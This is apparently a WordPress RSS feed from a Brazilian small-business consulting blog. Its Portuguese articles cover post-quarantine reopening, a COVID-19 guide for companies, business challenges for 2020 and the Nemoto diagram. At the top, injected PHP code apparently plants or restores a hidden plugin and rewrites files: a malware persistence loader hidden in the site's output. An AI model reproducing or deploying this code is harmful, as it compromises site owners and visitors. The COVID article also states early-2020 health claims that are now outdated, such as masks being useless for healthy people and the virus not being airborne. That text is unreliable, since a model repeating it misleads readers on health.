// le_bs
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/home1/mfcons/omeugestor.com/wp-content/plugins/hseo/hseo.php',
'ctrl'=>'// le_bs',
'vis'=>'// sa_3v',
'vis_func'=>'wp_a0c71m',
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$keys['id']='c9z';
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if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
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@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
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O post Retomada Dicas para preparar o seu negócio apareceu primeiro em Meu Gestor.
]]>O Brasil e o mundo viveu a maior crise de saúde desde a gripe espanhola e essa crise gerou e vem gerando um impacto negativo enorme na economia.. Em especial nas micro e pequenas empresa.
Agora o cenário começa a mudar e muitas cidades estão reabrindo os comércios implementando protocolos de saúde e segurança.
Para as empresas que sobreviveram à crise agora vem uma nova dúvida, como será essa retomada, neste artigo tentamos trazer algumas informações para te ajudar neste momento.
Bem a melhor forma para iniciar essa retomada é fazer um planejamento, mesmo que seja um planejamento simples para organizar melhor o que deverá ser feito neste momento.
Um planejamento bem simples pode ser feito baseado nas prioridades analisadas no seu negócio para essa retomada.
Por exemplo, em uma análise você identifica que o estoque da sua empresa está muito baixo de acordo com os seus prazos de entrega.. Que o seu material de divulgação não poderá ser usado neste momento e que precisar definir uma nova negociação com os fornecedores.
A partir destes dados você define quais são mais prioritárias, analise quais as ações devem ser tomadas a fim de resolver cada um desses desafios!
Organizando essa atividades em um plano de ação, pode utilizar a estrutura do 5W2H que explicamos melhor neste artigo aqui.
É importante também para essa retomada que alguns objetivos de sobrevivência sejam definidos!
Como por exemplo, metas de vendas diárias, fluxo de clientes, giro de produtos do estoque e por aí vai.
Não adianta definir só o indicador, precisa também ter uma objetivo a ser alcançado, ou seja uma meta.
Com as metas definidas para os seus indicadores prioritários você define um norte que vai seguir neste momento e quais resultados são importante para a sobrevivência da empresa.
Em seguida é interessante você deixar essas metas em destaque para a equipe e para você, utilize nosso gráfico de Gestão a Vista que montamos para facilitar a sua vida, só acessar aqui para baixar.
Em todos os momentos da empresa o financeiro deve sempre está no radar dos responsáveis, acompanhando de perto os dados mais importantes e a disponibilidade de caixa do negócio.
Neste momento em especial este deve ser um dos focos prioritários.
Observamos duas coisas a primeira é que vários negócios estão realizando essa retomada com baixa flexibilidade de capital de giro devido ao momento da quarentena. Isso deixa uma pressão maior na gestão deste caixa para dar continuidade no negócio.
Segundo ponto é que na retomada a necessidade de venda vai ser maior, porém temos observado que a retomada não acontece com o mesmo ritmo de venda anterior..
Até por causa das medidas adotadas para a retomada.
Sendo assim, é importante manter um controle do caixa para garantir que o financeiro da empresa consiga dar suporte a operação até o equilíbrio.
Não tire o seu financeiro do radar!
Esse ponto com certeza é uma das suas maiores preocupações e provavelmente uma grande insegurança.
Nesta retomada pós quarentena temos vários detalhes que podem influenciar nas vendas da sua empresa.. Desde os protocolos de retomada, como também o próprio comportamento do cliente neste momento.
Aqui em Belo Horizonte o comércio retornou na segunda dia 25/05 em sua grande parte sendo que após alguns dias retomaram o fechamento do comércio retomando de forma parcial no dia 06/08.
Antes desta retomada a visão que se teria é que após a retomada o fluxo de pessoas na rua seria grande, essa era até uma preocupação. Mas que até agora não tem se mostrado real!
Mostrando que a população ainda tem receio de sair as ruas como antes.
Isso pode sinalizar que suas estratégias de vendas, caso você tenha um comércio de porta para rua ou dependa desse fluxo de pessoas para vender, devem ser repensadas pelo menos de imediato após a retomada.
Agora importante salientar, cada região pode apresentar comportamentos diferentes e recomendo que você como empresário deixe afiado o seu senso de observação.
A fim de perceber como o seu público alvo está se comportando neste momento de retomada..
Uma dica que posso passar para você é, fortaleça a sua atuação nas redes sociais, WhatsApp e Telegram. Nas redes, neste momento em especial no Instagram que tem gerado bons resultados.
Crie uma conta comercial e busque como criar anúncios para o público da sua região, assim você consegue alcançar um público com boa possibilidade de compra.
O primeiro passo para tomar essa decisão é entender a real situação do seu estoque.
Meus produtos estão qualificados para serem entregues ao consumidor final?
Qual a disponibilidade de espaço disponível no meu estoque atualmente?
Questionar e analisar esses e demais pontos é primordial para que você tome a decisão mais direta. Pois um único caminho não vai resolver para todos.
Se o estoque do seu negócio está lotado de produtos por causa da parada do comércio a melhor opção para retomada é fazer um filtro de qualidade. Caso os produtos estejam aptos para venda já podemos passar para o próximo passo.
Uma das opções para diminuir o estoque rapidamente é realizar descontos e ofertas, ou seja, diminuir sua margem de lucro.
Uma opção é doar os produtos que não estão sendo vendidos e fazer uma ação de marketing para conseguir mais doadores e movimentar a comunidade a sua volta. Gerando um reconhecimento e uma divulgação orgânica do seu negócio.
Outra estratégia é tentar a venda online destes produtos caso seja possível, direcionando anúncios para sua região para que a logística não fique comprometida.
Caso seu estoque esteja com capacidade disponível, a melhor opção é mesclar esses produtos em suas prateleiras ou em sua loja virtual. Usando os descontos e ofertas nos produtos que estavam parados, com intuito de chamar a atenção do seu público.
Criar pacotes de produtos, onde a compra inicial é baixa mas é oferecido um outro produto que complementa o primeiro item..
É uma ótima estratégia, pois gera valor agregado para seu cliente e uma margem de lucro um pouco maior, do que a venda de um único produto que está em promoção.
Tenha em mente que a retomada não será no ritmo antigo de vendas, será um processo gradual, por isso planeje muito bem sua estratégia e dê tempo para que ela possa mostrar resultados, seja ele, negativo ou positivo.
Não fique pulando de estratégia todo dia ou semana!
Mais do que nunca, agora o empreendedor brasileiro vai precisar do seu jogo de cintura, aliando novas estratégias do meio digital com o dia a dia do seu negócio físico.
É momento de planejar e ser criativo, mas também de colocar em prática as ideias.
Um ponto crucial e que deve ser repetido sem limite é cumprir os protocolos de saúde, caso você tenha um negócio físico!
A última coisa que um empreendedor precisa neste momento é receber multas, por não cumprir os protocolos de saúde para a retomada.
Enfim, é primordial um planejamento, criatividade, utilização das mídias digitais e análise constante do financeiro no seu negócio.
Assim será possível retomar com grandes chances de manter seu negócio aberto.
E digo mais, se colocar em prática essas dicas adaptando para seu modelo de negócio você sairá na frente de 90% dos seus concorrentes!
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Abraço.
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]]>O post Coronavírus – Guia para sua empresa apareceu primeiro em Meu Gestor.
]]>Pois é o Coronavírus, Covid19, chegou ao Brasil! E parece que ainda tem muita coisa para acontecer a respeito do vírus por aqui e seus impactos.
Alguns clientes têm pedido ajuda a respeito do vírus, o que podem fazer e se devem tomar alguma ação de emergência para um caso de aumento drástico dos números de caso no Brasil.
Por isso resolvi montar este conteúdo com algumas orientações de como preparar a sua empresa para uma situação mais drástica e reduzir as perdas que isso pode causar na empresa.
A cada dia novos casos de Covid-19, doença respiratória causada pelo novo corona vírus, se confirmam no mundo. Até a tarde desta quinta-feira (12), o Brasil registrava 77 casos confirmados da doença e monitorava 1.422 situações suspeitas. Outros 1.163 casos já foram descartados.
Coronavírus é uma família de vírus que pode causar danos em animais e em humanos. Em pessoas, pode resultar em infecções respiratórias que vão desde um resfriado até síndromes respiratórias agudas severas. O novo coronavírus (SARS-Cov-2) causa a doença denominada Covid-19, que teve início na China, em dezembro de 2019.
Os sintomas do Covid-19 envolvem febre, cansaço e tosse seca. Parte dos pacientes pode apresentar dores, congestão nasal, coriza, tosse e diarreia.
Alguns pacientes podem ser assintomáticos, ou seja, estarem infectados pelo vírus, mas não apresentarem sintomas. O Ministério da Saúde estima que os pacientes mais jovens são os mais passíveis de não apresentar qualquer sinal da doença.
De acordo com a OMS, a estimativa é que o período de incubação seja de 1 a 14 dias!
Ou seja, o vírus teria esse tempo para se manifestar. O mais comum é a manifestação por volta de cinco dias. Mas há pessoas que não apresentam sintomas.
A OMS calcula que 1 em cada 6 pacientes pode ter um agravamento do quadro, com dificuldades respiratórias sérias.
No início de março, a taxa de letalidade era de 3,5%. Mas o Ministério da Saúde suspeita que pode ser menor, em razão de haver subnotificação dos casos em alguns países. Os públicos mais vulneráveis são idosos e pessoas com doenças crônicas (diabetes, pressão alta e doenças cardiovasculares).
O contágio ocorre a partir de pessoas infectadas. A doença pode se espalhar desde que alguém esteja a menos de 2 metros de distância de uma pessoa com a doença.
A transmissão pode ocorrer por gotículas de saliva, espirro, tosse ou catarro, que podem ser repassados por toque ou aperto de mão, objetos ou superfícies contaminadas pelo infectado.
O novo coronavírus não é transmitido pelo ar a menos que um indivíduo chegue próximo a um paciente infectado a ponto de as formas de contaminação serem possíveis.
De acordo com a OMS, as chances são pequenas, pois o vírus é transmitido por saliva, espirro, tosse ou catarro, elementos mais presentes quando uma pessoa está com gripe.
O Ministério da Saúde explica que não há medicamento, substância, vitamina, alimento específico ou vacina que possa prevenir a infecção pelo novo corona vírus e indica as seguintes medidas de prevenção:
– lavar as mãos frequentemente com água e sabonete por pelo menos 20 segundos, ou usar desinfetante para as mãos à base de álcool quando a primeira opção não for possível;
– evitar tocar nos olhos, nariz e boca com as mãos não lavadas;
– evitar contato próximo com pessoas doentes;
– ficar em casa quando estiver doente;
– usar um lenço de papel para cobrir boca e nariz ao tossir ou espirrar, e descartá-lo no lixo após o uso;
– não compartilhar copos, talheres e objetos de uso pessoal;
– limpar e desinfetar objetos e superfícies tocados com frequência.
– manter ambientes bem ventilados e higienizar as mãos após tossir ou espirrar.
O SUS desenvolveu um aplicativo que comunica informações sobre o COVID-19 e ainda realiza uma triagem virtual, indicando se é necessário ou não a ida a hospitais! Divulguem e bora defender esse sistema referência em saúde!
iOS: https://apps.apple.com/br/app/coronav%C3%ADrus-sus/id1408008382
Android: https://play.google.com/store/apps/details?id=br.gov.datasus.guardioes
Sim! De acordo com o Conselho Federal de Química, o álcool gel é “eficiente desinfetante de superfícies/objetos e antisséptico para a pele”.
O grau alcoólico recomendado para o efeito é de pelo menos 70%.
A máscara não tem efeito algum, para pessoas sem o vírus!
Ela deve ser utilizada por quem apresenta sintomas da doença, pois previne que alguém infectado espalhe o vírus e venha a contaminar outras pessoas.
O uso também é recomendado para pessoas que tenham contato com indivíduos com suspeita ou confirmação do novo corona vírus.
Máscaras também devem ser usadas por profissionais de saúde que atuem em locais com pacientes com suspeitas ou sintomas.
Após o uso, a orientação é descartar a máscara em local adequado e lavar as mãos.
Efim, segue aqui ainda um link com um mapa do vírus no mundo e como ele está crescendo para você acompanhar, só clicar no link e explorar o mapa:
https://experience.arcgis.com/experience/685d0ace521648f8a5beeeee1b9125cd
Ufa, muita informação sobre o vírus não é mesmo, bem agora vamos falar um pouco sobre como montar um plano de contingência, caso ele se espalhe com força pelo país ou pela sua região.
Vamos lá, se você trabalha com comercialização de produtos ou utiliza na entrega do seu serviço insumos, é importante ter atenção para alguns pontos.
O primeiro ponto é saber se esses insumos ou estoque tem origem nos países que estão sendo mais afetados pelo vírus, entre em contato com os seus fornecedores e veja com eles sobre o estoque que eles possuem dos produtos, se os produtos são importados e em caso positivo, qual a origem dos mesmos.
Caso esses materiais sejam importados e de origem dos países afetados de forma drástica pelo vírus, e de acordo com a necessidade que sua empresa tem destes insumos ou produtos para rodar, uma boa estratégia pode ser fazer um estoque maior entre 50% a 100% a mais do que sua empresa já faz ultimamente, quer dizer que se você tem um estoque de 10 normalmente, o ideal é ter entre 15 a 20.
É interessante ter uma garantia de disponibilidade de produtos e insumos, dependendo da necessidade e se são produtos perecíveis, de pelo menos 45 dias.
Assim você garante a operação por esse período.
Mas é importante ter um ponto de observação antes de tomar essa ação, o seu negócio tem um alto risco de ficar paralisado devido ao Corona vírus?
Portanto se a resposta for sim precisamos validar uns pontos.
Se essa for uma possibilidade real para o seu negócio você precisa ter a atenção redobrada nos movimentos do seu mercado devido aos avanços da doença.
É imprescindível essa percepção e análise antes de tomar qualquer ação de estoque ou de compras, isso porque se você percebe a medida que o vírus aumenta a sua demanda cai, pode ser um grande indicativo que o seu mercado vai sofrer de forma mais intensa com vírus, então não vale a pena investir em estoque maior mas sim fazer caixa para manter a empresa de pé na época de baixa causada pelo vírus.
Neste caso o ideal é tentar alguns gastos de forma imediata buscando uma maior geração de caixa para a empresa.
Esse caixa pode garantir o funcionamento da empresa, gastos fixos, neste período de baixa.
Se a demanda realmente paralisar análise com um advogado trabalhista para negociar um acordo e mandar os funcionários para casa com um pagamento reduzido mas com garantia de emprego para garantir um queima menor de caixa, mas isso só se o mercado paralisar mesmo, e por um tempo pré determinado.
Mas além disso é importante se preparar para o momento atual afinal se você ainda está de portas abertas não pode deixar imperar o caos na sua empresa.
Então vamos lá.
A sua equipe da empresa está se colocando em risco pelos seus trabalhos e pela sua empresa.
Em alguns casos que o trabalho envolve atendimento ao público o risco de contaminação com o Coronavírus, o Covid-19, é bem maior.
Sendo assim é importante serem definidas algumas ações preventivas e boas práticas dentro da empresa, afim de comprovar o seu compromisso com o bem estar de todos e evitar que o seu time fique doente.
Uma boa forma é montar um material com boas práticas, pode ser simples mesmo uma folha impressa ou uma comunicação simples por e-mail, com o objetivo de implantar práticas de prevenção na empresa e alertar sobre a realidade da doença, suas formas de transmissão e prevenção, pode usar a primeira parte deste artigo para isso.
Com esse material na mão sente com o seu time e explique sobre o material e o porque você está implantando essas boas práticas, além da importância de todos seguirem e fiscalizar o cumprimento deles.
Essa ação é importante para conscientizar todos e manter a sua equipe protegida.
Agora e se alguém do seu time foi infectado, o que fazer??
Se você tiver pessoas com o vírus confirmadas no seu time é necessário agir rápido para evitar pânico na equipe e manter o negócio rodando.
Se você trabalha com comércio ou atendimento ao público o primeiro ponto é reforçar as ações preventivas e, lógico, o colaborador doente vai para casa.
É importante mapear possíveis contatos com os outros integrantes do time e encaminhá-los para o posto de saúde mais próximo para realização do exame em caso de sintomas da doença.
Importante você agir a fim de evitar que todos do time fiquem infectados ou que infectem seus clientes.
É bom se preparar, se caso for uma cidade pequeno, que o boato vai se espalhar e pode ser importante você colocar um comunicado na empresa sobre as ações que foram tomada de prevenção.
Agora se o seu negócio é um escritório e todos trabalham no computador ou telefone, uma ótima forma pode ser enviar todos para o trabalho remoto, essa é uma ótima opção, pois evita que as pessoas fiquem doentes no escritório e também faz com que elas não percam o ritmo de trabalho.
Para fazer isso é importante que alguns testes sejam feitos já de imediato, a fim de validar o rendimento do time remoto e corrigir alguns pontos para evitar perda de resultados.
Portanto uma boa dica para trabalhar neste formato, é realizar uma reunião diária no Skype todos os dias, todos do time em uma mesma sala de reunião!
Afinal reunião rápida para validar como estão os planos do dia, como foram os resultados no dia anterior, se a equipe for grande, pode fazer uma reunião de 15 a 30 minutos por cada área.
Se caso precisarem fazer ligação para um cliente, pode contratar um plano de celular que fala em todas as operadoras pagando um mesmo valor fixo por mês, a Tim tem um com o valor muito bom e vai possibilitar que o seu time continue produzindo sem grandes investimentos da sua parte e sem grandes perdas de resultado.
Trabalhar remoto, se for feito de forma organizada, traz resultados positivos para a empresa e para o time.
Enfim, aqui no Meu Gestor os atendimentos dos consultores são realizados 100% online, com ótimos resultados para os clientes.
Assim mesmo em situações como essas ou em qualquer lugar que esteja, você consegue ter um consultor excelente para te orientar e te ajudar a tomar as melhores decisões e ações para a sua empresa.
Portanto com essas dicas e com a ajuda do Meu Gestor mesmo em uma situação como essa, com certeza a sua empresa não vai deixar a bola cair e não vai ter grandes perdas com a Pandemia.
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]]>O post Os maiores desafios para as empresas em 2020 apareceu primeiro em Meu Gestor.
]]>Com o fechamento do ano de 2019 com resultados econômicos positivos (IBOVESPA com recorde histórico e taxa SELIC menor que o previsto) e acima da expectativa do mercado começamos 2020 com expectativas positivas.
Enquanto vários países no mundo caminham para uma crise mais acentuada o Brasil se mostra como uma possível ilha de prosperidade em meio a todos esses acontecimentos negativos no mundo.
Você deve estar pensando agora…
E o que isso significa?
Essa situação de ilha de prosperidade levanta uma possibilidade para o nosso país, a de termos um fluxo de capital internacional para investimentos aqui no Brasil.
E com a nossa taxa de juros baixa (SELIC) os melhores cenários serão, investir em Capital de Risco, o famoso Venture Capital, que tem como foco, na maioria das vezes, investimento em startups e tecnologia.
Investimento em empresas que têm possibilidade de crescimento em meio ao cenário de crescimento econômico ou investir em leilões e obras públicas, uma das estratégia que o governo já está seguindo, além de algumas outras opções mais pulverizadas.
Qualquer dessas opções serão benéficas para a economia como um todo pois além de injetar um capital para investimento em negócios e empresas, vão gerar o desenvolvimento desses negócio!
A geração de emprego e a aceleração da economia de uma forma sustentável, não subsidiada pelo governo.
Existe uma previsão para um crescimento mais vertiginoso do setor de construção civil e toda a sua cadeia!
Esse crescimento já está sendo observado desde 2019 e para 2020 a previsão é que isso se intensifique.
Esse crescimento está sendo impulsionado em especial pela redução da taxa de juros e a facilidade de acesso a crédito no mercado.
Com a confirmação desse cenário positivo toda a geração de renda e consumo vai melhorar no país.
Para exemplificar a dinâmica, quer dizer que se, por exemplo, você tem um varejo de bairro ou uma loja maior, as suas vendas vão crescer pois teremos mais dinheiro na mão de mais consumidores.
Você varejista que começa a faturar mais consegue contratar mais funcionários e também soluções para te ajudar a crescer mais a loja e ampliar a lucratividade.
Com isso as empresas que prestam esse tipo de serviço aumentam as suas vendas e a cadeia se estende por toda economia.
Então, de forma geral, o que você pode esperar é um aumento de suas vendas e também uma maior disponibilidade de capital no mercado, bancos e financeiras e ainda com um capital mais barato.
Então quais os desafios para as empresas em 2020 para aproveitar esse momento positivo da economia.
Uma coisa é certa, apesar do momento positivo esperado para o Brasil, nem todo mundo vai ganhar.
Sempre, independente do momento, existem os que ganham e os que perdem ou os que ganham muito e os que ganham pouco, acredito que a sua intenção como empresário seja ficar entre os que ganham mais, estou certo?
Se sim você tem alguns desafios pela frente.
Não quer dizer que só porque tem mais dinheiro no mercado as pessoas vão comprar o seu produto ou o seu serviço no lugar do seu concorrente.
Hoje em dia os consumidores tem acesso muito maior a possíveis fornecedores.
São bombardeados a todo momento por publicidade e promoções e ainda pesquisam muito antes de tomar a decisão para comprar um produto.
Assim você precisa chamar a atenção do seu cliente do jeito certo e na hora certa e ainda está preparado para recebê-lo e oferecer o produto ou serviço ideal para ele.
Então você tem alguns desafios em Marketing, Vendas, Processos e Estoque falando de forma mais ampla, pois no detalhe existem alguns outros desafios.
É importante ter atenção em todas essas áreas da sua empresa para tirar proveito do momento em seu máximo e superar a concorrência desenvolvendo a sua empresa e crescendo o negócio.
Esses pontos são imprescindíveis para se alcançar esse resultado.
Vamos entrar no detalhe em cada um desses pontos com o objetivo de explorar mais a fundo os desafios específicos e como superá-los.
Já aproveitando vamos falar sobre as metas, não adianta definir um plano e um caminho se não sabemos onde queremos chegar, esse onde queremos chegar são as suas metas.
Então vamos definir essas metas.
Para começar a alcançar resultados mais expressivos na sua empresa..
E realmente aproveitar as possibilidades que 2020 está trazendo, saindo desse ano muito melhor do que a empresa entrou, temos um primeiro passo importante, quer dizer imprescindível!
A definição das metas, ou seja a definição de onde você quer chegar, quais são os seus principais objetivos para esse ano.
E porque isso seria importante para sua empresa?
Porque quando não sabemos onde queremos chegar, qualquer caminho e qualquer resultado serve.
Como disse o pensador Sêneca:
“Não existe vento favorável a quem não sabe onde deseja ir”
Caso não esteja com os seus objetivos claros não conseguirá definir ações efetivas, afinal as ações devem ser definidas com o objetivo de alcance de um resultado sem um resultado para alcançar não adianta definir ações.
Além disso ter metas bem estruturadas garante que você enxergue o crescimento ou não do seu negócio e do seu time, além de definir para o seu time objetivos claros que devem ser alcançados, dando um norte para os mesmos.
Sem metas para alcançar o seu time se sente perdido e suas cobranças são infundadas, baseadas apenas em sentimentos, achismo ou posicionamento pessoal.
Com as metas bem definidas e estruturadas fica claro onde você quer chegar com a empresa para você e seu time e aí você pode iniciar a definição de ações e estratégias para alcance das mesmas.
Se tiver dúvidas em como definir metas que são alcançáveis e que também não sejam “frouxas”, acesse este artigo aqui, ele pode te ajudar com isso.
Agora que você tem as metas definidas está na hora de começar a atacar pontos importante que podem lhe impedir de alcançá-las.
Atrair o cliente ideal, comunicando da forma correta para esse cliente e ainda atraindo um volume de acordo com o necessário para as vendas é imprescindível para alcançar resultados positivos.
Para isso é importante que sejam feitas algumas análises sobre o seu público alvo e seu comportamento, para assim entender qual a comunicação ideal para esse público.
Após essas análises estruturadas é importante que sejam feitas ações/estratégias com o foco no alcance dos resultados esperados, em breve vamos falar um pouco sobre as metas.
Essas ações devem ter um foco prático no alcance do resultado além de um prazo exequível mas que seja dentro do prazo necessário para alcançar as metas planejadas.
Aqui neste artigo damos algumas dicas de ações de marketing digital que podem ser tomadas, dá uma olhada nele também.
Nessa hora é importante que se tenha um apoio de preferência com um profissional especialista na área, para assim estruturar ações que realmente vão gerar resultados para a sua empresa.
Se tiver problemas com isso acesse aqui e veja como podemos te ajudar!
Só atrair clientes para sua empresa não é o bastante, converter esses clientes em vendas reais é também um grande desafio.
A fim de melhorar esse resultado você precisa ter um processo de vendas bem estruturado com rotinas e padrões bem definidos!
Além de um time bem treinado em todo os processos e padrões.
Esse processo é importante, pois consegue de forma clara e concisa como o seu time de vendas deve realizar as abordagens com os clientes!
Oferecer os produtos, fechar uma venda, entre outros.
Essa estrutura garante que todo seu time trabalhe no seu processo de venda de forma homogênea sem grandes variações!
Fazendo assim com que as surpresas nos resultados das suas vendas aconteçam com uma frequência muito menor.
Para aproveitar as oportunidades que esse novo ano pode oferecer para o seu negócio você precisa ter uma boa taxa de conversão de vendas dos clientes que chegam até a sua empresa!
Caso contrário todo o valor investido no Market no negócio será em vão e você jogará esse dinheiro fora.
Uma coisa precisa ficar clara..
Que empresa ou pessoas ficou responsável em gerar vendas, o objetivo principal de uma campanha de marketing ou de ações de marketing gerar resultados diretos do seu negócio!
Se isso não acontece é necessário entender se o processo de vendas, se está bem estruturado e se seu time está bem treinado nesse processo.
Se você ainda não tem esse processo estruturado e esses padrões de vendas definidos é importante que você faça o mais rápido possível na sua empresa!
Em especial neste momento onde você está se preparando para entrar um ano que pode oferecer várias oportunidades de crescimento para o seu negócio.
A grande questão é que todo esse processo deve estar documentado com toda a estrutura de processo que deve ser seguida.
E os padrões que devem ser realizados em cada fase desse processo, isso não quer dizer que o seu vendedor precisa ser um robozinho repetindo exatamente tudo!
É guiar e dá o norte que aquele vendedor deve seguir cada vendedor tem a sua particularidade e ela deve ser mantida.
Para você que está desenvolvendo esse processo, é importante que essa individualidade do seu vendedor esteja em mente!
A fim de não desenvolver uma estrutura de rotinas e padrões que ingerem o processo.
Além de todas estrutura de rotinas você precisa também controlar os resultados da sua venda quer dizer que você precisa ter ali os indicadores e metas bem definidos para cada pessoa do seu time!
A fim de deixar claro para esse time quais objetivos devem ser alcançados por eles, e também te dar toda a informação necessária para cobrança dos resultados!
Além de dar reconhecimento aos vendedores de sucesso!
Caso tenha dúvidas você pode pesquisar um pouco mais a fundo sobre processos de venda tanto em outros artigos do nosso blog como no Google!
Com o objetivo de identificar boas práticas e ferramentas que podem ser inseridas no desenvolvimento do seu processo.
Agora que o processo está definido ou que você já e começou a definir esse processo é importante ter em mente que não existe uma venda sem o seu produto!
O que quer dizer isso, que você precisa ter o produto que o seu cliente quer comprar na hora que ele quer comprar..
Se liga no próximo tópico.
Se vendemos produtos, precisamos ter esses produtos disponíveis e não pode ser qualquer produto, é necessário ter em seu estoque produtos que são de interesse dos seus clientes!
Afinal quem dita o que é bom ou é ruim para estar na sua loja além lógico do seu feeling e conhecimento de mercado é o cliente que vai comprar de você aquele produto.
Para uma empresa que trabalha com venda de produtos perecíveis ou não, essa gestão e controle de estoque é super importante!
Com a realização de novas compras à medida que o estoque está ficando mais baixo ou até mesmo realização de compras de novos produtos que ainda não fazem parte do seu catálogo..
É super importante.
Um bom controle de estoque garante que você tenha os produtos necessários dentro do seu estoque não tendo nenhum estoque pequeno demais e nem um estoque grande demais.
O grande problema de se ter um estoque muito grande, é que você fica com dinheiro de fluxo de caixa da empresa parado no estoque.
O ideal é que você tenha um estoque com um bom giro, onde de acordo com o seu modelo de negócio os produtos fiquem pouco tempo parados em estoque .
Quando falamos de produtos de moda, estoque é ainda mais importante pois quando mudamos de estação as coleções se alteram!
Fazendo com que uma compra mal feita possa significar produto fora da coleção parado em estoque..
E consequentemente vendas futuras com desconto afetando diretamente a sua margem.
Para aproveitar bem as oportunidades que esse novo ano apresenta, é importante ter implementado no seu negócio bom controle de estoque com controle de entradas e saídas de produto.
Definição de estoque mínimo para cada produto, e de preferência realizar compras baseadas nesses números do seu controle de estoque.
Com esse controle de estoque bem estruturado você terá o produto que seu cliente quer fazendo com que o seu processo de marketing traga os seus clientes para a loja!
Fazendo seu processo de venda bem estruturado, você consegue vender o produto que o seu cliente quer comprar.
Agora se você pensa que acabou por aí ainda, você está enganado, ainda existe um ponto super importante para conseguir resultados excelentes nesse 2020.
Se quiser saber mais e mais a fundo a respeito de controle de estoque dá uma olhada neste artigo aqui que nós possamos no blog.
Este ponto é a definição de preço!
Sem um preço bem definido, você não terá um preço competitivo ou você terá a margem desejada para o seu negócio..
Vamos falar um pouco sobre precificação no próximo tópico.
É para não sucumbir aos desafios em 2020 para sua empresa é muito importante ter preços bem definidos.
A metodologia de precificação na sua empresa é imprescindível para garantir que você tenha preços competitivos e com boa margem.
Preços mal definidos fazem que você em cada venda que realize dentro da sua empresa tenha prejuízo!
Isso quer dizer que você pode estar pagando para o seu cliente levar o seu produto ao invés de recebendo por ele.
Sendo assim precificação é a metodologia que te permite definir os preços dos seus produtos.
Deixa artigo não entrarei tão a fundo a respeito dessa precificação,a intenção aqui é chamar atenção a respeito desse ponto importante para o seu negócio.
Vou destacar apenas uma forma de precificação que é uma forma mais comum.
Mas que pode ser eficiente dependendo do seu modelo que é precificação baseada na sua concorrência.
Mas em linhas Gerais o objetivo de uma precificação baseada na concorrência é equalizar os seus preços!
E claro, entender se você está cobrando próximo da sua concorrência, isso te ajuda a equalizar os preços dos seus produtos..
Além de entender se você está com preços competitivos no mercado.
Existem ainda as metodologias de markup são margens de contribuição..
Mas não vamos entrar nessas metodologias neste artigo!
Ao invés disso vou colocar aqui um artigo muito bacana que entra de forma detalhada nesse assunto de precificação.
Agora se você se preparou criou todas as estratégias e estruturas que citamos agora nesse artigo mas o cenário positivo não se concretizou o que fazer?
Me acompanha no próximo tópico que vou falar a respeito.
Bem, tudo planejado, tudo estruturado mas o cenário não se concretizou da forma esperada para o ano de 2020..
E os desafios que pensávamos ter na empresa nesse ano se tornaram outros desafios, o que fazer?
De forma geral um ano é um ano como qualquer ou pode ser um ano onde os negócios tomam uma velocidade positiva pelo movimento do mercado como falei no início do artigo!
Agora se você está lendo esse artigo e já está vendo que o cenário positivo não se concretizou não adianta sentar no chão e chorar.
Todas as estruturas citadas em artigos são estruturas necessárias para o sucesso do seu negócio e devem estar implementadas na sua empresa Independente de um cenário positivo ou não.
Na verdade em cenários negativos elas são até mais importantes para prosperidade ou manutenção da sua empresa.
Sendo assim se você ainda não tem essas estruturas, processos, controles e rotinas implementadas nos seus negócios não perca mais tempo!
Aproveite para implementá-las independente da situação do mercado.
Afinal o sucesso do seu negócio está na sua mão e não na mão do mercado, em situações de crise ou de marasmo muitas empresas prosperam e muitas delas quebram.
Você precisa definir em qual das duas você quer estar!
Se você precisa do seu negócio e acredita nele não perca tempo e já comece a partir de agora implementar todas essas estruturas.
Enfim, não deixe o mercado ditar as regras dentro da sua empresa e sim prepare a sua empresa para sobreviver e prosperar independente do mercado.
Hummm, aí é por sua conta e risco.
Em nossa vivência com empresas já vimos várias que faliram quando o mercado estava em alta!
Pois não souberam se preparar para surfar na onda mas seus competidores se prepararam, e eles caíram da prancha.
É importante lembrar que mesmo em momento positivos onde se tem muita procura sempre teremos as empresas que vão ganhar mais e as que vão ganhar menos.
Nunca todos vão ganhar, o mercado não funciona assim!
Se você não se preparar muito bem pode ser destruído pelo seu concorrente, pelo seu descontrole interno, entre outros fatores.
Então, para vencer de verdade tem que jogar uma partida excepcional e com o seu time todo junto jogando o mesmo jogo com a estratégia 100% alinhada.
Portanto, não se esqueça que sempre alguém vai ganhar e alguém vai perder, não quer dizer que você deve trabalhar para acabar com a sua concorrência!
Mas tenha em mente o cliente que você não vende, que não coloca o dinheiro na sua empresa!
Se ele continuar a procura do produto ou serviço que ele deseja é na mão do seu concorrente que o dinheiro dele vai parar.
Se você tiver dificuldades ou desafios na implementação dessas estruturas, converse com um dos nossos consultores, conheça mais a fundo sobre o Meu Gestor!
Enfim, saiba como nossa solução pode te ajudar a surfar na onda de 2020 e superar todos os desafios para a sua empresa.
O post Os maiores desafios para as empresas em 2020 apareceu primeiro em Meu Gestor.
]]>O post Diagrama de Nemoto: descubra a diferença entre cargos e funções apareceu primeiro em Meu Gestor.
]]>Você conhece ou já ouviu falar sobre o Diagrama de Nemoto? Entende a diferença crucial entre Cargo e Função?
Na condução diária do seu negócio, não devem ser raras as ocasiões em que, orientando e cobrando sua equipe, você identifique funcionários que entregam mais: produzem mais, dedicam-se mais. Que demonstram mais preocupação com o negócio, resolvem situações emergentes, conhecem mais sua empresa.
Nessas horas, como forma de recompensar o funcionário mais engajado, muitos empresários pensam na promoção como única e mais justa ação a ser tomada.
Afinal de contas, se não fosse pelo funcionário, o resultado poderia ter desandado, não é mesmo?
No entanto, é preciso se certificar de que outros critérios, como o perfil do funcionário, sua qualificação profissional, o alinhamento de seus valores com os da empresa. Para que sejam avaliados antes de tomar esta decisão.
Como a promoção está ligada à mudança do cargo que será atribuído ao funcionário, é preciso conhecer a fundo as propostas do Diagrama de Nemoto. Entender a diferença entre Cargo e Função e como esta diferença pode impactar o seu negócio.
Decisões erradas neste assunto podem gerar frustração de ambas as partes, além de acarretar custos sem necessidade.
E tudo o que não queremos é agregar custo, sem que haja um resultado melhor para o negócio, concorda?
Antes de entrar no detalhe, lembre-se do início do seu negócio, quando ainda era apenas uma ideia.
Neste ponto da história, a concepção do negócio incluía, de formas gerais, o objetivo e a forma que ele seria alcançado.
Esta leitura, por mais básica que pareça, é um esboço de um processo, em seu nível mais macro, com a definição do resultado a ser gerado por este processo.
